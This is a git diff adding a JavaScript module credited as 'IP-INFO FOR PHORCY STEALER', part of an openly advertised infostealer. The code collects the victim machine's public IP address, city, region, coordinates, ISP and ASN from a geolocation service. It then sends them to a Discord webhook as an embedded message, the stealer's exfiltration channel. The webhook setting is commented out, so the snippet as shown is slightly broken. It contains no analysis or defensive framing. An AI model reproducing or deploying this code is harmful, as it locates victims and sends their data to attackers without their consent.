diff --git a/Utils/ip-info.js b/Utils/ip-info.js index 8b13789..6997cdf 100644 --- a/Utils/ip-info.js +++ b/Utils/ip-info.js @@ -1 +1,100 @@ +/// coded by syntheticuhh +/// IP-INFO FOR PHORCY STEALER +const axios = require('axios'); +/// const config = { +/// webhook: "https://discord.com/api/webhooks/xxxxx/xxxxxxxxx" +/// }; +async function getipinfo() { + let ipinfo; + try { + const getreq = await axios.get('https://ipapi.co/json'); + const json = getreq.data; + ipinfo = { + ip: json.ip, + network: json.network, + version: json.version, + city: json.city, + region: json.region, + Regcode: json.region_code, + country: json.country, + country_name: json.country_name, + country_code: json.country_code, + capital: json.country_capital, + country_tld: json.country_tld, + continent_code: json.continent_code, + in_eu: json.in_eu, + postal: json.postal, + latitude: json.latitude, + longitude: json.longitude, + timezone: json.timezone, + utc: json.utc_offset, + call_code: json.country_calling_code, + Money: json.currency, + Money_Name: json.currency_name, + language: json.languages, + area: json.country_area, + population: json.country_population, + asn: json.asn, + org: json.org + }; + } catch (error) { + console.error('Error: Failed To Connect'); + ipinfo = { + ip: 'failed', + network: 'failed', + version: 'failed', + city: 'failed', + region: 'failed', + Regcode: 'failed', + country: 'failed', + country_name: 'failed', + country_code: 'failed', + capital: 'failed', + country_tld: 'failed', + continent_code: 'failed', + in_eu: 'failed', + postal: 'failed', + latitude: 'failed', + longitude: 'failed', + timezone: 'failed', + utc: 'failed', + call_code: 'failed', + Money: 'failed', + Money_Name: 'failed', + language: 'failed', + area: 'failed', + population: 'failed', + asn: 'failed', + org: 'failed' + }; + } + const ipembed = { + username: 'IP-INFO // Phorcy Stealer // T.me/PhorcyStealer', + avatar_url: 'https://o.remove.bg/downloads/35158b30-2f72-4dae-8e2f-3513ce002c37/logo-removebg-preview.png', + embeds: [ + { + title: 'IP-INFO', + description: 'Import Ip-Info', + color: 0x00008B, + fields: [ + { name: 'IP', value: `\`\`\`${ipinfo.ip}\`\`\`` }, + { name: 'Location', value: `\`\`\`${ipinfo.city}, ${ipinfo.region}, ${ipinfo.country}\`\`\`` }, + { name: 'Coordinates', value: `\`\`\`${ipinfo.latitude}, ${ipinfo.longitude}\`\`\`` }, + { name: 'Timezone', value: `\`\`\`${ipinfo.timezone}\`\`\`` }, + { name: 'Currency', value: `\`\`\`${ipinfo.Money} (${ipinfo.Money_Name})\`\`\`` }, + { name: 'Languages', value: `\`\`\`${ipinfo.language}\`\`\`` }, + { name: 'ASN', value: `\`\`\`${ipinfo.asn}\`\`\`` }, + { name: 'Organization', value: `\`\`\`${ipinfo.org}\`\`\`` }, + ], + }, + ], + }; + try { + await axios.post(config.webhook, ipembed, { headers: { 'Content-Type': 'application/json' } }); + console.log('sent'); + } catch (errors) { + console.error('error', errors.message); + } +} +getipinfo();